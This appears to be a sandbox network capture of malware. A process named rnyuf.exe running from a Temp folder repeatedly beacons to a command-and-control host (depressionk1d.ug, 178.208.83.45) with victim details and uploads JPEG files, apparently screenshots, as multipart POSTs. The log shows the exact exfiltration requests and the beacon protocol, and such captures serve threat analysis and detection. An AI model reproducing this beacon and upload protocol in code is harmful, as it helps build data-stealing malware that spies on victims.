Nov 12, 2021 22:23:23.888482094 CET	3227	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7326d962c3e55cc0b528f327bd65f0a2 Host: depressionk1d.ug Content-Length: 110667 Cache-Control: no-cache
Nov 12, 2021 22:23:23.888487101 CET	3228	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 33 32 36 64 39 36 32 63 33 65 35 35 63 63 30 62 35 32 38 66 33 32 37 62 64 36 35 66 30 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7326d962c3e55cc0b528f327bd65f0a2Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:23.888501883 CET	3238	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:23.888523102 CET	3240	OUT	Data Raw: 48 7a d2 d1 4c 42 52 d1 40 a0 61 45 14 1a 04 14 52 aa b3 1c 2a 92 7d 00 ab 29 a7 5e 49 f7 6d df fe 04 31 fc e8 49 bd 82 e5 5a 2b 49 34 4b a6 fb c6 34 fa 9c ff 00 2a ad 7b 68 6c a6 58 cb 86 25 77 64 0c 77 3f e1 54 e1 24 ae d0 26 8a d4 51 47 6a 91 Data Ascii: HzLBR@aER})^Im1IZ+I4K4{hlX%wdw?T$&QGjQ@(Z()h(4QEzE$q^?YM#_Iuq]LI<c:;R@E-RZ)1ERLBbPhRbRSR)EPA
Nov 12, 2021 22:23:23.911058903 CET	3244	OUT	Data Raw: 32 b1 f3 ab 0f 8c e7 f6 9c ae e6 87 83 bc 41 35 cd de 95 a1 5e e4 dc d9 5d b9 8d ba e5 04 32 82 09 f6 24 0f a7 d2 bc db e3 77 fc 94 79 7f eb d6 2f e5 5e a3 e1 7f 00 ea da 2f 88 ed 35 1b ab 8b 37 8a 1d fb 84 6e e5 b9 42 a3 19 51 ea 3b d7 97 7c 6d Data Ascii: 2A5^]2$wy/^/57nBQ;\|m7{E:O'uo0h5UY<hqBjeL~ko^4.J9\aAdqSG?"ibl.yT^kG
Nov 12, 2021 22:23:23.911128998 CET	3261	OUT	Data Raw: 8f 31 c2 92 a9 93 81 b8 f6 c9 e3 9a 9f aa bf e7 fc 11 5f 5d a1 ff 00 3e 7f f2 66 7a ff 00 8b be 25 69 3a bf 87 e7 b1 b2 8e 60 65 2a 59 a4 2a 38 0c 0f 00 13 9e 40 af 1d a9 5a da e1 64 99 1a de 60 f0 2e f9 94 c6 73 1a e4 0c b7 1c 0c 91 c9 f5 14 c7 Data Ascii: 1_]>fz%i:`eY8@Zd`.s]D)$dzmF0b#N0n]yt?U?V3y)())i)QE9IK%(PII@CEV<U~CjX55I0 7
Nov 12, 2021 22:23:23.911154985 CET	3266	OUT	Data Raw: 51 b4 4c bd a8 b1 4a 69 90 ed a3 6d 3f 14 62 81 dc 6e 29 0a d4 98 a3 14 58 57 22 29 48 63 a9 b1 4b b6 95 90 f9 8a c6 3a 8c c5 c5 5d db ed 48 53 35 3c 83 55 0c f6 8a a2 31 56 9b 45 9a 88 c5 52 e9 9a 46 a9 9a 63 a8 da 3e 2b 49 a1 a8 9a 1a c6 54 cd Data Ascii: QLJim?bn)XW")HcK:]HS5<U1VERFc>+ITTxy:!T+aZTc3Tnr&*B)1Sb6M"TJ:F LRow-_Q@ODdaJ{2E])E4SYIIE1RfP1Em+}iC
Nov 12, 2021 22:23:23.933631897 CET	3277	OUT	Data Raw: 91 c6 aa c3 18 1b 70 01 35 95 e3 57 2f f0 ff 00 5e 25 19 71 65 20 f9 bb fc 95 e0 97 df 13 b5 fd 57 c3 37 9a 1e a7 f6 7b a8 ee 42 83 39 8f 64 80 ab 29 1c ae 01 fb a0 72 33 ef 5c ac 7a 95 fc 56 ef 6f 1d ed ca 42 eb b5 e3 59 58 2b 0f 42 33 82 2b a2 Data Ascii: p5W/^%qe W7{B9d)r3\zVoBYX+B3+8i^,DmdQ] (_Ie+nF0${\|[z_]/.[R8<UpFNZ3_xeAXRCe7yD_! slOiiB
Nov 12, 2021 22:23:23.933676004 CET	3281	OUT	Data Raw: 88 06 6a 40 31 40 14 ec 71 41 2d 85 14 b8 a0 0a 64 89 4f 14 da 51 d2 81 31 69 ca 79 a6 d0 38 a6 26 4b 9a 5c d3 33 91 4e 1d 28 20 75 19 a4 a5 a6 23 43 46 ff 00 90 bd bf fb d4 fd 50 ff 00 c4 d2 e3 fd f3 51 e8 df f2 17 b7 ff 00 7a 9d a8 9c ea 33 ff Data Ascii: j@1@qA-dOQ1iy8&K\3N( u#CFPQz3k?2'z(QhKIKHAJ))E@8QIJ)Nh UV>e?-/H~j?Hr)A}@:_sZq$?dIz\c4N;
Nov 12, 2021 22:23:23.933708906 CET	3296	OUT	Data Raw: 93 fe 25 ca d6 d3 48 8b 2f 9a f1 c7 2a 15 41 96 4e aa a7 39 c0 03 8a aa f5 67 07 68 f9 7e 62 a3 4e 12 8b 72 29 27 86 65 97 4d 8a ee 2d 4b 4f 92 49 a0 9a e6 0b 50 65 12 cd 1c 4c c1 d9 72 81 7f 81 8e 0b 03 81 d3 b5 57 4d 0e e9 f5 38 2c 04 b6 fe 6c Data Ascii: %H/*AN9gh~bNr)'eM-KOIPeLrWM8,lBNGx}3XiVgQr-HJeR@bE%#N$L;;ZMQiQQH{ SbFyZWjZMybF
Nov 12, 2021 22:23:23.933734894 CET	3306	OUT	Data Raw: 40 85 a5 ef 48 29 45 31 05 3a 81 45 02 14 52 8a 4a 5a 04 2d 3a 9b 4e a6 48 a3 a5 02 8a 05 02 63 85 2d 20 a5 a7 a9 21 4a 3a d1 49 40 0f a7 0a 60 a7 8a 64 33 73 c3 a0 99 ae 0f a4 67 f9 1a cc fe 23 5a de 1a 19 6b b3 e9 1f f4 35 95 fc 47 eb 5c d4 ff Data Ascii: @H)E1:ERJZ-:NHc- !J:I@`d3sg#Zk5G\/u- 9BEKIEJZ@-:NA#QHBI96GrpoxW*=<l\|HVI2ONm?:?O?u5Z_:S1TO:+O
Nov 12, 2021 22:23:23.982192993 CET	3341	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:23 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.4	50081	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:11.340658903 CET	10734	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:11.366655111 CET	10735	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.4	50082	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:11.513751030 CET	10735	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:11.538675070 CET	10736	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.4	50083	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:11.688886881 CET	10736	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:11.712512970 CET	10738	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:11 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:11.712528944 CET	10738	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.4	50084	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:11.840039968 CET	10739	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:11.862828970 CET	10740	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:11 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:11.862843037 CET	10740	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.4	50085	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:11.998836040 CET	10741	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:12.024379969 CET	10741	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.4	50086	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:12.153428078 CET	10742	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:12.267406940 CET	10832	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.4	50087	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:12.208982944 CET	10742	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:12.209177017 CET	10742	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:12.209367990 CET	10753	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
